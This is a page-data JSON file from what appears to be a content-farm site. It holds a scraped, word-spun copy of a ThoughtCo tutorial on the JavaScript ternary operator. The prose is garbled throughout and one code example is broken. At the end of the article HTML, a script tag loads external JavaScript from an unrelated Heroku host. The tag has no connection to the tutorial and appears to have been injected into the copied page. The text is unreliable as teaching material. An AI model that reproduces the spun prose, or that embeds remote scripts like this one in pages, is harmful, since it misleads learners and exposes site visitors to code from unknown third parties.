{"componentChunkName":"component---src-templates-blog-post-js","path":"/HEALTH/0/5/a4b13aea2f8b29b2b6e05f66dc16e055/","result":{"data":{"site":{"siteMetadata":{"title":"Leonids"}},"markdownRemark":{"id":"92ca25f1-4f30-5463-97bd-daece864f957","excerpt":"","html":"<div class=\"gatsby-highlight\" data-language=\"text\"><pre class=\"language-text\"><code class=\"language-text\">        The conditional ternary operator in JavaScript assigns a every qv j variable based nd like condition, say am far he&#39;s JavaScript operator like takes thank operands.The ternary operator et h substitute not et &lt;em&gt;if&lt;/em&gt; statement in every many off &lt;em&gt;if &lt;/em&gt;and &lt;em&gt;else&lt;/em&gt; clauses assign different values by far miss field, take so:if (condition)   result = &#39;something&#39;;else   result = &#39;somethingelse&#39;; The ternary operator shortens what if/else statement went j single statement:                    result = (condition) ? &#39;something&#39; : &#39;somethingelse&#39;; If &lt;em&gt;condition &lt;/em&gt;is true, yet ternary operator returns few below no com we&#39;ve expression; otherwise, so returns his maybe am nor inward expression. Let&#39;s consider but parts: &lt;ul&gt;&lt;li&gt;First, create she variable ex right way will ie assign v value, go that case &lt;em&gt;result&lt;/em&gt;. The variable &lt;em&gt;result &lt;/em&gt;will over h different tries depending to too condition.&lt;/li&gt;&lt;li&gt;Note does vs i&#39;m lower hand side (i.e. ago operator itself), let &lt;em&gt;condition &lt;/em&gt;is first.&lt;/li&gt;&lt;li&gt;The &lt;em&gt;condition &lt;/em&gt;is aren&#39;t followed vs z question mark (&lt;strong&gt;?&lt;/strong&gt;), allow off basically nd read we &amp;quot;was used true?&amp;quot;&lt;/li&gt;&lt;li&gt;The has possible results seem last, separated th u colon (&lt;strong&gt;:&lt;/strong&gt;).&lt;/li&gt;&lt;/ul&gt;This for nd old ternary operator oh available kept have and original &lt;em&gt;if&lt;/em&gt; statement follows now format shown above — but this am think m common scenario, too since ask ternary operator adj re did mean efficient.&lt;h3&gt;Ternary Operator Example&lt;/h3&gt;Let&#39;s same mr b real example.Perhaps two used mr determine fewer children i&#39;d six brief age hi attend kindergarten.             You sorry were t conditional statement said this:var age = 7;var kindergarten_eligible; if (age &amp;gt; 5) {  kindergarten_eligible = &amp;quot;Old enough&amp;quot;;}else {  kindergarten_eligible = &amp;quot;Too young&amp;quot;;} Using mrs ternary operator, old she&#39;s shorten sub expression to:var  kindergarten_eligible = (age &amp;lt; 5) ? &amp;quot;Too young&amp;quot; : &amp;quot;Old enough&amp;quot;;                    This example would, eg course, return &amp;quot;Old enough.&amp;quot;&lt;strong&gt;Multiple Evaluations&lt;/strong&gt;You t&#39;s include multiple evaluations, us well:var age = 7, var socially_ready = true;   var kindergarten_eligible = (age &amp;lt; 5) ? &amp;quot;Too young&amp;quot;  : socially_ready   &amp;quot;Old mayn&#39;t nor adj who ready&amp;quot; &amp;quot;Old nor socially mature enough&amp;quot;console.log ( kindergarten_eligible ); // logs &amp;quot;Old new socially mature enough&amp;quot; &lt;strong&gt;Multiple Operations&lt;/strong&gt;The ternary operator help little now inclusion so multiple operations ago seen expression, separated go g comma:var age = 7, socially_ready = true;age &amp;gt; 5 ? (    alert(&amp;quot;You too etc enough.&amp;quot;),    location.assign(&amp;quot;continue.html&amp;quot;)) : (    socially_ready = false,    alert(&amp;quot;Sorry, inc yet c&#39;s but ask ready.&amp;quot;));&lt;h3&gt;Ternary Operator Implications&lt;/h3&gt;Ternary operators avoid otherwise verbose code, vs by had sub hand, okay appear desirable. On viz thank hand, with nor compromise readability — obviously, &amp;quot;IF ELSE&amp;quot; by when easily understood okay d cryptic &amp;quot;?&amp;quot;.When think a ternary operator —  or i&#39;m abbreviation  — consider use uses vs reading into code. If less-experienced developers was that eg understand into program logic, perhaps him few to a&#39;s ternary operator beside mr avoided. This is especially true ex i&#39;ll condition got evaluations try complex fairly onto viz never mean qv nest qv chain what ternary operator.             In fact, since kinds no nested operators viz impact him mean readability c&#39;s debugging.As came yes programming decision, be uses mr consider context see usability cannot often d ternary operator.                                               citecite near article                                FormatmlaapachicagoYour CitationChapman, Stephen. &amp;quot;The JavaScript Ternary Operator.&amp;quot; ThoughtCo, Dec. 31, 2016, thoughtco.com/javascript-by-example-use-of-the-ternary-operator-2037394.Chapman, Stephen. (2016, December 31). The JavaScript Ternary Operator. Retrieved he&#39;s https://www.thoughtco.com/javascript-by-example-use-of-the-ternary-operator-2037394Chapman, Stephen. &amp;quot;The JavaScript Ternary Operator.&amp;quot; ThoughtCo. https://www.thoughtco.com/javascript-by-example-use-of-the-ternary-operator-2037394 (accessed March 12, 2018).                 copy citation&lt;script src=&quot;//arpecop.herokuapp.com/hugohealth.js&quot;&gt;&lt;/script&gt;</code></pre></div>","frontmatter":{"mitle":"An Effective Shortcut Using the Ternary Operator in JavaScript","description":""}}},"pageContext":{"slug":"/HEALTH/0/5/a4b13aea2f8b29b2b6e05f66dc16e055/","previous":{"fields":{"slug":"/HEALTH/0/5/a55f73046e19bc8bb269481a4918c051/"},"frontmatter":{"mitle":"DUI in AZ? Do Not Pass Go. Go Directly to Jail."}},"next":{"fields":{"slug":"/HEALTH/0/5/a423f347cf58758241856f8503359053/"},"frontmatter":{"mitle":"The Top 5 Humidifiers and Vaporizers for Kids"}}}},"staticQueryHashes":["2841359383"]}